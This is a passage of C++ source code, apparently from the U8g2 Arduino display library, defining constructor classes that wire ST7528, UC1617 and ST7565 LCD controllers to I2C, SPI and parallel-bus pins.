u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7528_NHD_C160100_1_HW_I2C : public U8G2 { public: U8G2_ST7528_NHD_C160100_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_nhd_c160100_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7528_NHD_C160100_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST7528_NHD_C160100_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_nhd_c160100_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7528_NHD_C160100_2_SW_I2C : public U8G2 { public: U8G2_ST7528_NHD_C160100_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_nhd_c160100_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7528_NHD_C160100_2_HW_I2C : public U8G2 { public: U8G2_ST7528_NHD_C160100_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_nhd_c160100_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7528_NHD_C160100_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST7528_NHD_C160100_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_nhd_c160100_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7528_NHD_C160100_F_SW_I2C : public U8G2 { public: U8G2_ST7528_NHD_C160100_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_nhd_c160100_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7528_NHD_C160100_F_HW_I2C : public U8G2 { public: U8G2_ST7528_NHD_C160100_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_nhd_c160100_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7528_NHD_C160100_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST7528_NHD_C160100_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_nhd_c160100_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7528_ERC16064_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7528_ERC16064_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_erc16064_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7528_ERC16064_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7528_ERC16064_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_erc16064_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7528_ERC16064_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7528_ERC16064_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_erc16064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7528_ERC16064_1_6800 : public U8G2 { public: U8G2_ST7528_ERC16064_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_erc16064_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7528_ERC16064_1_8080 : public U8G2 { public: U8G2_ST7528_ERC16064_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_erc16064_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7528_ERC16064_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7528_ERC16064_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_erc16064_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7528_ERC16064_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7528_ERC16064_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_erc16064_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7528_ERC16064_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7528_ERC16064_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_erc16064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7528_ERC16064_2_6800 : public U8G2 { public: U8G2_ST7528_ERC16064_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_erc16064_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7528_ERC16064_2_8080 : public U8G2 { public: U8G2_ST7528_ERC16064_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_erc16064_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7528_ERC16064_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7528_ERC16064_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_erc16064_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7528_ERC16064_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7528_ERC16064_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_erc16064_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7528_ERC16064_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7528_ERC16064_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_erc16064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7528_ERC16064_F_6800 : public U8G2 { public: U8G2_ST7528_ERC16064_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_erc16064_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7528_ERC16064_F_8080 : public U8G2 { public: U8G2_ST7528_ERC16064_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_erc16064_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7528_ERC16064_1_SW_I2C : public U8G2 { public: U8G2_ST7528_ERC16064_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_erc16064_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7528_ERC16064_1_HW_I2C : public U8G2 { public: U8G2_ST7528_ERC16064_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_erc16064_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7528_ERC16064_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST7528_ERC16064_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_erc16064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7528_ERC16064_2_SW_I2C : public U8G2 { public: U8G2_ST7528_ERC16064_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_erc16064_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7528_ERC16064_2_HW_I2C : public U8G2 { public: U8G2_ST7528_ERC16064_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_erc16064_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7528_ERC16064_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST7528_ERC16064_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_erc16064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7528_ERC16064_F_SW_I2C : public U8G2 { public: U8G2_ST7528_ERC16064_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_erc16064_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7528_ERC16064_F_HW_I2C : public U8G2 { public: U8G2_ST7528_ERC16064_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_erc16064_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7528_ERC16064_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST7528_ERC16064_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7528_i2c_erc16064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1617_JLX128128_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1617_JLX128128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1617_JLX128128_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1617_JLX128128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1617_JLX128128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1617_JLX128128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1617_JLX128128_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1617_JLX128128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1617_JLX128128_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1617_JLX128128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1617_JLX128128_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1617_JLX128128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1617_JLX128128_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1617_JLX128128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1617_JLX128128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1617_JLX128128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1617_JLX128128_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1617_JLX128128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1617_JLX128128_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1617_JLX128128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1617_JLX128128_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1617_JLX128128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1617_JLX128128_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1617_JLX128128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1617_JLX128128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1617_JLX128128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1617_JLX128128_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1617_JLX128128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1617_JLX128128_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1617_JLX128128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1617_JLX128128_1_SW_I2C : public U8G2 { public: U8G2_UC1617_JLX128128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_i2c_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1617_JLX128128_1_HW_I2C : public U8G2 { public: U8G2_UC1617_JLX128128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_i2c_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1617_JLX128128_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1617_JLX128128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_i2c_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1617_JLX128128_2_SW_I2C : public U8G2 { public: U8G2_UC1617_JLX128128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_i2c_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1617_JLX128128_2_HW_I2C : public U8G2 { public: U8G2_UC1617_JLX128128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_i2c_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1617_JLX128128_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1617_JLX128128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_i2c_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1617_JLX128128_F_SW_I2C : public U8G2 { public: U8G2_UC1617_JLX128128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_i2c_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1617_JLX128128_F_HW_I2C : public U8G2 { public: U8G2_UC1617_JLX128128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_i2c_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1617_JLX128128_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1617_JLX128128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1617_i2c_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7565_EA_DOGM128_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM128_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM128_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_EA_DOGM128_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_1(&u8g2, rotation, 